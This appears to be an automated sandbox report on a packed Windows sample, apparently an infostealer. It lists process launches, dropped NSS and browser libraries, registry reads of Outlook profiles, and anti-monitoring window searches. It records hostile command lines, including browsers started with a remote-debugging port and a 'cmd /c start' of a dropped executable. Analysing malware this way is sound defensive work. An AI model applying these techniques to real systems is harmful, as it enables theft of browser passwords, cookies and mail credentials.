Source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2264852456.000000001D6F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359665500.000000001D6EC000.00000004.00000020.00020000.00000000.sdmp, BKECFIIEHCFHIECAFBAK.0.dr, KEHCGCGCFHIDBFHIIJKJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2180,i,12856717172867170866,9707093815161414423,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2216,i,4508490612143711048,6364152533651127459,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2668 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6864 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7036 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4640 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2180,i,12856717172867170866,9707093815161414423,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2216,i,4508490612143711048,6364152533651127459,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2668 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6864 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7036 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4640 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1771008 > 1048576

Source: file.exe

Static PE information: Raw size of nyqiuucy is bigger than: 0x100000 < 0x196800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nyqiuucy:EW;kepxsgaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nyqiuucy:EW;kepxsgaz:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1b80fc should be: 0x1b233a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nyqiuucy
Source: file.exe	Static PE information: section name: kepxsgaz
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B536 push ecx; ret

0_2_6C50B549

Source: file.exe

Static PE information: section name: nyqiuucy entropy: 7.953817875819591

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

